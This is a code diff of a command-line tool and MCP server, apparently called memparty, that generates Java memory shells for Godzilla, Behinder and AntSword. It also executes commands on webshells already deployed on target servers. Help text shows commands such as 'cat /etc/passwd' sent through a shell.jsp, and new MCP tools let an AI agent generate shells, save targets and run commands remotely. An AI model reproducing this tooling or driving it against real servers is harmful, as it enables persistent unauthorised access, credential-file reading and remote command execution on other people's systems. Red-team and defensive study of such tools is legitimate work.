).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
|
|
1386
|
+
"after",
|
|
1387
|
+
`
|
|
1388
|
+
Examples:
|
|
1389
|
+
$ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\
|
|
1390
|
+
--header-value qSGAJScj --cmd "whoami"
|
|
1391
|
+
$ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1392
|
+
--header-value YdwTyuQr --cmd "cat /etc/passwd"
|
|
1393
|
+
$ memparty exec web222 --cmd "whoami" # saved target, see 'memparty target'
|
|
1394
|
+
$ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
|
|
1395
|
+
--cmd "ipconfig /all" --json
|
|
1396
|
+
|
|
1397
|
+
Note: godzilla auto-detects the remote OS (one extra request) to pick
|
|
1398
|
+
cmd.exe vs /bin/sh \u2014 pass --os to skip the detection. Behinder detects
|
|
1399
|
+
the OS inside its payload, so --os does not apply.
|
|
1400
|
+
`
|
|
1401
|
+
).action(async (name, opts, cmd) => {
|
|
1402
|
+
const globals = cmd.optsWithGlobals();
|
|
1403
|
+
const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
|
|
1404
|
+
let conn;
|
|
1405
|
+
try {
|
|
1406
|
+
conn = resolveConnection(name, {
|
|
1407
|
+
url: opts.url,
|
|
1408
|
+
tool: opts.tool,
|
|
1409
|
+
pass: opts.pass,
|
|
1410
|
+
key: opts.key,
|
|
1411
|
+
headerName: opts.headerName,
|
|
1412
|
+
headerValue: opts.headerValue,
|
|
1413
|
+
extraHeaders: parseExtraHeaders2(opts.header),
|
|
1414
|
+
insecure: opts.insecure
|
|
1415
|
+
});
|
|
1416
|
+
} catch (err) {
|
|
1417
|
+
process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
|
|
1418
|
+
`);
|
|
1419
|
+
process.exitCode = 1;
|
|
1420
|
+
return;
|
|
1421
|
+
}
|
|
1422
|
+
const common = {
|
|
1423
|
+
headerName: conn.headerName,
|
|
1424
|
+
headerValue: conn.headerValue,
|
|
1425
|
+
extraHeaders: conn.extraHeaders,
|
|
1426
|
+
timeoutMs,
|
|
1427
|
+
insecure: conn.insecure
|
|
1428
|
+
};
|
|
1429
|
+
let result;
|
|
1430
|
+
switch (conn.tool) {
|
|
1431
|
+
case "godzilla": {
|
|
1432
|
+
const gdzOpts = { ...common, os: opts.os };
|
|
1433
|
+
result = await execGodzilla(
|
|
1434
|
+
conn.url,
|
|
1435
|
+
conn.pass ?? "pass",
|
|
1436
|
+
conn.key ?? "key",
|
|
1437
|
+
opts.cmd,
|
|
1438
|
+
gdzOpts
|
|
1439
|
+
);
|
|
1440
|
+
break;
|
|
1441
|
+
}
|
|
1442
|
+
case "behinder":
|
|
1443
|
+
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", opts.cmd, common);
|
|
1444
|
+
break;
|
|
1445
|
+
default:
|
|
1446
|
+
process.stderr.write(
|
|
1447
|
+
`Error: exec supports godzilla | behinder (got ${String(conn.tool)})
|
|
1448
|
+
`
|
|
1449
|
+
);
|
|
1450
|
+
process.exitCode = 1;
|
|
1451
|
+
return;
|
|
1452
|
+
}
|
|
1453
|
+
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
1454
|
+
logOp({
|
|
1455
|
+
category: "exec",
|
|
1456
|
+
action: "exec",
|
|
1457
|
+
targetName: conn.targetName,
|
|
1458
|
+
url: conn.url,
|
|
1459
|
+
tool: conn.tool,
|
|
1460
|
+
ok: result.ok,
|
|
1461
|
+
durationMs: result.durationMs,
|
|
1462
|
+
command: opts.cmd,
|
|
1463
|
+
output: truncated?.output,
|
|
1464
|
+
outputTruncated: truncated?.truncated || void 0,
|
|
1465
|
+
error: result.error
|
|
1466
|
+
});
|
|
1467
|
+
if (opts.json) {
|
|
1468
|
+
process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
1469
|
+
`);
|
|
1470
|
+
} else if (result.ok) {
|
|
1471
|
+
process.stdout.write(result.output ?? "");
|
|
1472
|
+
if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
|
|
1473
|
+
} else {
|
|
1474
|
+
process.stderr.write(`FAIL ${result.tool} ${result.url}
|
|
1475
|
+
${result.error ?? ""}
|
|
1476
|
+
`);
|
|
1477
|
+
}
|
|
1478
|
+
if (!result.ok) {
|
|
1479
|
+
process.exitCode = 1;
|
|
1480
|
+
}
|
|
1481
|
+
});
|
|
1482
|
+
}
|
|
1483
|
+
|
|
1484
|
+
// src/commands/gen.ts
|
|
1485
|
+
import { readFileSync as readFileSync5 } from "fs";
|
|
1486
|
+
import { Option as Option3 } from "commander";
|
|
976
1487
|
|
|
977
1488
|
// src/core/output.ts
|
|
978
|
-
import { writeFileSync } from "fs";
|
|
1489
|
+
import { writeFileSync as writeFileSync2 } from "fs";
|
|
979
1490
|
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
980
1491
|
function hasBinaryExtension(path) {
|
|
981
1492
|
const lower = path.toLowerCase();
|
|
@@ -987,7 +1498,7 @@ function shouldDecode(opts) {
|
|
|
987
1498
|
return false;
|
|
988
1499
|
}
|
|
989
1500
|
function emitPayload(payload, opts, sinks = {}) {
|
|
990
|
-
const writeFile = sinks.writeFile ?? ((p, d) =>
|
|
1501
|
+
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync2(p, d));
|
|
991
1502
|
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
992
1503
|
const decoded = shouldDecode(opts);
|
|
993
1504
|
if (opts.outFile) {
|
|
@@ -1116,7 +1627,7 @@ function buildProbeRequest(opts) {
|
|
|
1116
1627
|
}
|
|
1117
1628
|
|
|
1118
1629
|
// src/wizard/memshell-wizard.ts
|
|
1119
|
-
import { readFileSync as
|
|
1630
|
+
import { readFileSync as readFileSync4 } from "fs";
|
|
1120
1631
|
import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
|
|
1121
1632
|
var JDK_CHOICES = [
|
|
1122
1633
|
{ name: "server default", value: "" },
|
|
@@ -1184,7 +1695,7 @@ async function runMemShellWizard(client) {
|
|
|
1184
1695
|
}
|
|
1185
1696
|
case "Custom": {
|
|
1186
1697
|
const file = await input({ message: "Path to custom .class file" });
|
|
1187
|
-
opts.shellClassBase64 =
|
|
1698
|
+
opts.shellClassBase64 = readFileSync4(file).toString("base64");
|
|
1188
1699
|
break;
|
|
1189
1700
|
}
|
|
1190
1701
|
default:
|
|
@@ -1225,7 +1736,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
|
|
|
1225
1736
|
function toOptions(o) {
|
|
1226
1737
|
let shellClassBase64 = o.shellClassBase64;
|
|
1227
1738
|
if (o.shellClassFile) {
|
|
1228
|
-
shellClassBase64 =
|
|
1739
|
+
shellClassBase64 = readFileSync5(o.shellClassFile).toString("base64");
|
|
1229
1740
|
}
|
|
1230
1741
|
return {
|
|
1231
1742
|
server: o.server,
|
|
@@ -1257,7 +1768,7 @@ function toOptions(o) {
|
|
|
1257
1768
|
};
|
|
1258
1769
|
}
|
|
1259
1770
|
function registerGenCommand(program) {
|
|
1260
|
-
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new
|
|
1771
|
+
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").action(async (opts, cmd) => {
|
|
1261
1772
|
const client = createClient(cmd.optsWithGlobals());
|
|
1262
1773
|
const missing = REQUIRED.filter((k) => !opts[k]);
|
|
1263
1774
|
const stdinIsTty = Boolean(process.stdin.isTTY);
|
|
@@ -1274,7 +1785,37 @@ function registerGenCommand(program) {
|
|
|
1274
1785
|
memOpts = toOptions(opts);
|
|
1275
1786
|
}
|
|
1276
1787
|
const request = buildMemShellRequest(memOpts);
|
|
1277
|
-
const
|
|
1788
|
+
const genMeta = {
|
|
1789
|
+
server: memOpts.server,
|
|
1790
|
+
serverVersion: memOpts.serverVersion,
|
|
1791
|
+
shellTool: memOpts.shellTool,
|
|
1792
|
+
shellType: memOpts.shellType,
|
|
1793
|
+
packer: memOpts.packer,
|
|
1794
|
+
jdk: memOpts.jdk
|
|
1795
|
+
};
|
|
1796
|
+
const started = Date.now();
|
|
1797
|
+
let response;
|
|
1798
|
+
try {
|
|
1799
|
+
response = await client.generateMemShell(request);
|
|
1800
|
+
} catch (err) {
|
|
1801
|
+
logOp({
|
|
1802
|
+
category: "gen",
|
|
1803
|
+
action: "gen",
|
|
1804
|
+
ok: false,
|
|
1805
|
+
durationMs: Date.now() - started,
|
|
1806
|
+
error: err instanceof Error ? err.message : String(err),
|
|
1807
|
+
meta: genMeta
|
|
1808
|
+
});
|
|
1809
|
+
throw err;
|
|
1810
|
+
}
|
|
1811
|
+
logOp({
|
|
1812
|
+
category: "gen",
|
|
1813
|
+
action: "gen",
|
|
1814
|
+
ok: true,
|
|
1815
|
+
durationMs: Date.now() - started,
|
|
1816
|
+
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
1817
|
+
meta: genMeta
|
|
1818
|
+
});
|
|
1278
1819
|
if (opts.json) {
|
|
1279
1820
|
process.stdout.write(`${JSON.stringify(response, null, 2)}
|
|
1280
1821
|
`);
|
|
@@ -1305,6 +1846,53 @@ function registerGenCommand(program) {
|
|
|
1305
1846
|
});
|
|
1306
1847
|
}
|
|
1307
1848
|
|
|
1849
|
+
// src/commands/log.ts
|
|
1850
|
+
import { Option as Option4 } from "commander";
|
|
1851
|
+
function registerLogCommand(program) {
|
|
1852
|
+
program.command("log").description("Show the global operation log (every gen/probe/connect/exec/target op)").addOption(
|
|
1853
|
+
new Option4("--category <name>", "filter by operation category").choices([
|
|
1854
|
+
"gen",
|
|
1855
|
+
"probe",
|
|
1856
|
+
"connect",
|
|
1857
|
+
"exec",
|
|
1858
|
+
"target"
|
|
1859
|
+
])
|
|
1860
|
+
).option(
|
|
1861
|
+
"--target <name>",
|
|
1862
|
+
"filter by target: project name, project/shell, or a URL substring (e.g. host)"
|
|
1863
|
+
).option("--limit <n>", "max entries (default 50)", "50").option("--json", "output raw JSON entries (newest first)").addHelpText(
|
|
1864
|
+
"after",
|
|
1865
|
+
`
|
|
1866
|
+
Examples:
|
|
1867
|
+
$ memparty log # latest 50 operations
|
|
1868
|
+
$ memparty log --category exec # only command executions
|
|
1869
|
+
$ memparty log --target hw222 # everything against project hw222
|
|
1870
|
+
$ memparty log --category exec --target 192.168.31.222 --json
|
|
1871
|
+
`
|
|
1872
|
+
).action((opts) => {
|
|
1873
|
+
const limit = Number.parseInt(opts.limit ?? "50", 10);
|
|
1874
|
+
const entries = readOps({
|
|
1875
|
+
category: opts.category,
|
|
1876
|
+
target: opts.target,
|
|
1877
|
+
limit: Number.isNaN(limit) ? 50 : limit
|
|
1878
|
+
});
|
|
1879
|
+
if (opts.json) {
|
|
1880
|
+
process.stdout.write(`${JSON.stringify({ logPath: opLogPath(), entries }, null, 2)}
|
|
1881
|
+
`);
|
|
1882
|
+
return;
|
|
1883
|
+
}
|
|
1884
|
+
if (entries.length === 0) {
|
|
1885
|
+
process.stdout.write(`no operations logged yet (log: ${opLogPath()})
|
|
1886
|
+
`);
|
|
1887
|
+
return;
|
|
1888
|
+
}
|
|
1889
|
+
for (const entry of entries) {
|
|
1890
|
+
process.stdout.write(`${formatOp(entry)}
|
|
1891
|
+
`);
|
|
1892
|
+
}
|
|
1893
|
+
});
|
|
1894
|
+
}
|
|
1895
|
+
|
|
1308
1896
|
// src/mcp/server.ts
|
|
1309
1897
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
1310
1898
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
@@ -1381,8 +1969,11 @@ var probeInput = {
|
|
|
1381
1969
|
commandTemplate: z.string().optional()
|
|
1382
1970
|
};
|
|
1383
1971
|
var connectInput = {
|
|
1384
|
-
|
|
1385
|
-
|
|
1972
|
+
name: z.string().optional().describe(
|
|
1973
|
+
"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
|
|
1974
|
+
),
|
|
1975
|
+
url: z.string().optional().describe("URL of the deployed shell (or pass `name`)"),
|
|
1976
|
+
tool: z.enum(["godzilla", "behinder", "suo5"]).optional().describe("shell tool to test (or taken from the saved target)"),
|
|
1386
1977
|
pass: z.string().optional().describe("password (godzilla default: pass; behinder default: rebeyond)"),
|
|
1387
1978
|
key: z.string().optional().describe("godzilla key (default: key)"),
|
|
1388
1979
|
headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
|
|
@@ -1391,6 +1982,37 @@ var connectInput = {
|
|
|
1391
1982
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
1392
1983
|
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
1393
1984
|
};
|
|
1985
|
+
var execInput = {
|
|
1986
|
+
name: z.string().optional().describe(
|
|
1987
|
+
"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
|
|
1988
|
+
),
|
|
1989
|
+
url: z.string().optional().describe("URL of the deployed shell (or pass `name`)"),
|
|
1990
|
+
tool: z.enum(["godzilla", "behinder"]).optional().describe("shell tool to execute through (or taken from the saved target)"),
|
|
1991
|
+
command: z.string().describe("command line to execute on the target"),
|
|
1992
|
+
pass: z.string().optional().describe("password (godzilla default: pass; behinder default: rebeyond)"),
|
|
1993
|
+
key: z.string().optional().describe("godzilla key (default: key)"),
|
|
1994
|
+
os: z.enum(["auto", "windows", "linux"]).optional().describe(
|
|
1995
|
+
"godzilla only: remote OS for the shell wrapper (default: auto \u2014 one extra request to detect; behinder detects the OS inside its payload)"
|
|
1996
|
+
),
|
|
1997
|
+
headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
|
|
1998
|
+
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
1999
|
+
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
2000
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
2001
|
+
};
|
|
2002
|
+
var targetSaveInput = {
|
|
2003
|
+
project: z.string().describe("project name (created when missing)"),
|
|
2004
|
+
shell: z.string().describe("shell name inside the project"),
|
|
2005
|
+
url: z.string().describe("URL of the deployed shell"),
|
|
2006
|
+
tool: z.enum(["godzilla", "behinder", "suo5"]).describe("shell tool"),
|
|
2007
|
+
pass: z.string().optional().describe("password"),
|
|
2008
|
+
key: z.string().optional().describe("godzilla key"),
|
|
2009
|
+
headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
|
|
2010
|
+
headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
|
|
2011
|
+
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
2012
|
+
projectRemark: z.string().optional().describe("project remark (merged into the project)"),
|
|
2013
|
+
projectCategory: z.string().optional().describe("project category (merged into the project)"),
|
|
2014
|
+
shellRemark: z.string().optional().describe("remark for this shell")
|
|
2015
|
+
};
|
|
1394
2016
|
function createMcpServer(client) {
|
|
1395
2017
|
const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
|
|
1396
2018
|
server.registerTool(
|
|
@@ -1447,10 +2069,35 @@ function createMcpServer(client) {
|
|
|
1447
2069
|
"generate_memshell",
|
|
1448
2070
|
{ title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
|
|
1449
2071
|
async (args) => {
|
|
2072
|
+
const meta = {
|
|
2073
|
+
server: args.server,
|
|
2074
|
+
serverVersion: args.serverVersion,
|
|
2075
|
+
shellTool: args.shellTool,
|
|
2076
|
+
shellType: args.shellType,
|
|
2077
|
+
packer: args.packer,
|
|
2078
|
+
jdk: args.jdk
|
|
2079
|
+
};
|
|
2080
|
+
const started = Date.now();
|
|
1450
2081
|
try {
|
|
1451
2082
|
const response = await client.generateMemShell(buildMemShellRequest(args));
|
|
2083
|
+
logOp({
|
|
2084
|
+
category: "gen",
|
|
2085
|
+
action: "gen",
|
|
2086
|
+
ok: true,
|
|
2087
|
+
durationMs: Date.now() - started,
|
|
2088
|
+
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
2089
|
+
meta
|
|
2090
|
+
});
|
|
1452
2091
|
return jsonContent(response);
|
|
1453
2092
|
} catch (err) {
|
|
2093
|
+
logOp({
|
|
2094
|
+
category: "gen",
|
|
2095
|
+
action: "gen",
|
|
2096
|
+
ok: false,
|
|
2097
|
+
durationMs: Date.now() - started,
|
|
2098
|
+
error: err.message,
|
|
2099
|
+
meta
|
|
2100
|
+
});
|
|
1454
2101
|
return errorContent(err);
|
|
1455
2102
|
}
|
|
1456
2103
|
}
|
|
@@ -1459,10 +2106,33 @@ function createMcpServer(client) {
|
|
|
1459
2106
|
"generate_probe",
|
|
1460
2107
|
{ title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
|
|
1461
2108
|
async (args) => {
|
|
2109
|
+
const meta = {
|
|
2110
|
+
probeMethod: args.probeMethod,
|
|
2111
|
+
probeContent: args.probeContent,
|
|
2112
|
+
packer: args.packer,
|
|
2113
|
+
jdk: args.jdk
|
|
2114
|
+
};
|
|
2115
|
+
const started = Date.now();
|
|
1462
2116
|
try {
|
|
1463
2117
|
const response = await client.generateProbe(buildProbeRequest(args));
|
|
2118
|
+
logOp({
|
|
2119
|
+
category: "probe",
|
|
2120
|
+
action: "probe",
|
|
2121
|
+
ok: true,
|
|
2122
|
+
durationMs: Date.now() - started,
|
|
2123
|
+
detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
|
|
2124
|
+
meta
|
|
2125
|
+
});
|
|
1464
2126
|
return jsonContent(response);
|
|
1465
2127
|
} catch (err) {
|
|
2128
|
+
logOp({
|
|
2129
|
+
category: "probe",
|
|
2130
|
+
action: "probe",
|
|
2131
|
+
ok: false,
|
|
2132
|
+
durationMs: Date.now() - started,
|
|
2133
|
+
error: err.message,
|
|
2134
|
+
meta
|
|
2135
|
+
});
|
|
1466
2136
|
return errorContent(err);
|
|
1467
2137
|
}
|
|
1468
2138
|
}
|
|
@@ -1497,35 +2167,288 @@ function createMcpServer(client) {
|
|
|
1497
2167
|
"connect_test",
|
|
1498
2168
|
{
|
|
1499
2169
|
title: "Test shell connection",
|
|
1500
|
-
description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells.",
|
|
2170
|
+
description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells.",
|
|
1501
2171
|
inputSchema: connectInput
|
|
1502
2172
|
},
|
|
1503
2173
|
async (args) => {
|
|
1504
2174
|
try {
|
|
1505
|
-
const
|
|
2175
|
+
const conn = resolveConnection(args.name, {
|
|
2176
|
+
url: args.url,
|
|
2177
|
+
tool: args.tool,
|
|
2178
|
+
pass: args.pass,
|
|
2179
|
+
key: args.key,
|
|
1506
2180
|
headerName: args.headerName,
|
|
1507
2181
|
headerValue: args.headerValue,
|
|
1508
|
-
timeoutMs: args.timeoutMs,
|
|
1509
2182
|
insecure: args.insecure
|
|
2183
|
+
});
|
|
2184
|
+
const common = {
|
|
2185
|
+
headerName: conn.headerName,
|
|
2186
|
+
headerValue: conn.headerValue,
|
|
2187
|
+
extraHeaders: conn.extraHeaders,
|
|
2188
|
+
timeoutMs: args.timeoutMs,
|
|
2189
|
+
insecure: conn.insecure
|
|
1510
2190
|
};
|
|
1511
2191
|
let result;
|
|
1512
|
-
switch (
|
|
2192
|
+
switch (conn.tool) {
|
|
1513
2193
|
case "godzilla":
|
|
1514
|
-
result = await testGodzilla(
|
|
2194
|
+
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
1515
2195
|
break;
|
|
1516
2196
|
case "behinder":
|
|
1517
|
-
result = await testBehinder(
|
|
2197
|
+
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
1518
2198
|
break;
|
|
1519
2199
|
case "suo5":
|
|
1520
|
-
result = await testSuo5(
|
|
2200
|
+
result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
|
|
1521
2201
|
break;
|
|
2202
|
+
default:
|
|
2203
|
+
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
1522
2204
|
}
|
|
2205
|
+
logOp({
|
|
2206
|
+
category: "connect",
|
|
2207
|
+
action: "connect",
|
|
2208
|
+
targetName: conn.targetName,
|
|
2209
|
+
url: conn.url,
|
|
2210
|
+
tool: conn.tool,
|
|
2211
|
+
ok: result.ok,
|
|
2212
|
+
durationMs: result.durationMs,
|
|
2213
|
+
detail: result.detail,
|
|
2214
|
+
error: result.error
|
|
2215
|
+
});
|
|
1523
2216
|
return jsonContent(result);
|
|
1524
2217
|
} catch (err) {
|
|
1525
2218
|
return errorContent(err);
|
|
1526
2219
|
}
|
|
1527
2220
|
}
|
|
1528
2221
|
);
|
|
2222
|
+
server.registerTool(
|
|
2223
|
+
"exec_command",
|
|
2224
|
+
{
|
|
2225
|
+
title: "Execute command on shell",
|
|
2226
|
+
description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells.",
|
|
2227
|
+
inputSchema: execInput
|
|
2228
|
+
},
|
|
2229
|
+
async (args) => {
|
|
2230
|
+
try {
|
|
2231
|
+
const conn = resolveConnection(args.name, {
|
|
2232
|
+
url: args.url,
|
|
2233
|
+
tool: args.tool,
|
|
2234
|
+
pass: args.pass,
|
|
2235
|
+
key: args.key,
|
|
2236
|
+
headerName: args.headerName,
|
|
2237
|
+
headerValue: args.headerValue,
|
|
2238
|
+
insecure: args.insecure
|
|
2239
|
+
});
|
|
2240
|
+
const common = {
|
|
2241
|
+
headerName: conn.headerName,
|
|
2242
|
+
headerValue: conn.headerValue,
|
|
2243
|
+
extraHeaders: conn.extraHeaders,
|
|
2244
|
+
timeoutMs: args.timeoutMs,
|
|
2245
|
+
insecure: conn.insecure
|
|
2246
|
+
};
|
|
2247
|
+
let result;
|
|
2248
|
+
switch (conn.tool) {
|
|
2249
|
+
case "godzilla":
|
|
2250
|
+
result = await execGodzilla(
|
|
2251
|
+
conn.url,
|
|
2252
|
+
conn.pass ?? "pass",
|
|
2253
|
+
conn.key ?? "key",
|
|
2254
|
+
args.command,
|
|
2255
|
+
{ ...common, os: args.os }
|
|
2256
|
+
);
|
|
2257
|
+
break;
|
|
2258
|
+
case "behinder":
|
|
2259
|
+
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
|
|
2260
|
+
break;
|
|
2261
|
+
default:
|
|
2262
|
+
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2263
|
+
}
|
|
2264
|
+
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
2265
|
+
logOp({
|
|
2266
|
+
category: "exec",
|
|
2267
|
+
action: "exec",
|
|
2268
|
+
targetName: conn.targetName,
|
|
2269
|
+
url: conn.url,
|
|
2270
|
+
tool: conn.tool,
|
|
2271
|
+
ok: result.ok,
|
|
2272
|
+
durationMs: result.durationMs,
|
|
2273
|
+
command: args.command,
|
|
2274
|
+
output: truncated?.output,
|
|
2275
|
+
outputTruncated: truncated?.truncated || void 0,
|
|
2276
|
+
error: result.error
|
|
2277
|
+
});
|
|
2278
|
+
return jsonContent(result);
|
|
2279
|
+
} catch (err) {
|
|
2280
|
+
return errorContent(err);
|
|
2281
|
+
}
|
|
2282
|
+
}
|
|
2283
|
+
);
|
|
2284
|
+
server.registerTool(
|
|
2285
|
+
"target_save",
|
|
2286
|
+
{
|
|
2287
|
+
title: "Save shell target",
|
|
2288
|
+
description: "Save a shell connection profile as <project>/<shell> so later connect_test / exec_command calls only need the name. A project groups several shells and carries an optional remark and category. Overwrites an existing shell.",
|
|
2289
|
+
inputSchema: targetSaveInput
|
|
2290
|
+
},
|
|
2291
|
+
async (args) => {
|
|
2292
|
+
try {
|
|
2293
|
+
if (args.projectRemark !== void 0 || args.projectCategory !== void 0) {
|
|
2294
|
+
saveProjectMeta(args.project, {
|
|
2295
|
+
remark: args.projectRemark,
|
|
2296
|
+
category: args.projectCategory
|
|
2297
|
+
});
|
|
2298
|
+
}
|
|
2299
|
+
const stored = saveShell(args.project, args.shell, {
|
|
2300
|
+
url: args.url,
|
|
2301
|
+
tool: args.tool,
|
|
2302
|
+
pass: args.pass,
|
|
2303
|
+
key: args.key,
|
|
2304
|
+
headerName: args.headerName,
|
|
2305
|
+
headerValue: args.headerValue,
|
|
2306
|
+
insecure: args.insecure,
|
|
2307
|
+
remark: args.shellRemark
|
|
2308
|
+
});
|
|
2309
|
+
logOp({
|
|
2310
|
+
category: "target",
|
|
2311
|
+
action: "save",
|
|
2312
|
+
targetName: `${args.project}/${args.shell}`,
|
|
2313
|
+
url: args.url,
|
|
2314
|
+
tool: args.tool,
|
|
2315
|
+
ok: true,
|
|
2316
|
+
detail: "saved",
|
|
2317
|
+
meta: {
|
|
2318
|
+
projectRemark: args.projectRemark,
|
|
2319
|
+
projectCategory: args.projectCategory,
|
|
2320
|
+
shellRemark: args.shellRemark
|
|
2321
|
+
}
|
|
2322
|
+
});
|
|
2323
|
+
return jsonContent({ project: args.project, shell: args.shell, ...stored });
|
|
2324
|
+
} catch (err) {
|
|
2325
|
+
return errorContent(err);
|
|
2326
|
+
}
|
|
2327
|
+
}
|
|
2328
|
+
);
|
|
2329
|
+
server.registerTool(
|
|
2330
|
+
"target_note",
|
|
2331
|
+
{
|
|
2332
|
+
title: "Set remark/category",
|
|
2333
|
+
description: "Set or clear (empty string) a project's remark and/or category \u2014 or a shell's remark when `shell` is given.",
|
|
2334
|
+
inputSchema: {
|
|
2335
|
+
project: z.string(),
|
|
2336
|
+
shell: z.string().optional().describe("when set, only `remark` applies (to the shell)"),
|
|
2337
|
+
remark: z.string().optional().describe('remark ("" to clear)'),
|
|
2338
|
+
category: z.string().optional().describe('project category ("" to clear; projects only)')
|
|
2339
|
+
}
|
|
2340
|
+
},
|
|
2341
|
+
async (args) => {
|
|
2342
|
+
try {
|
|
2343
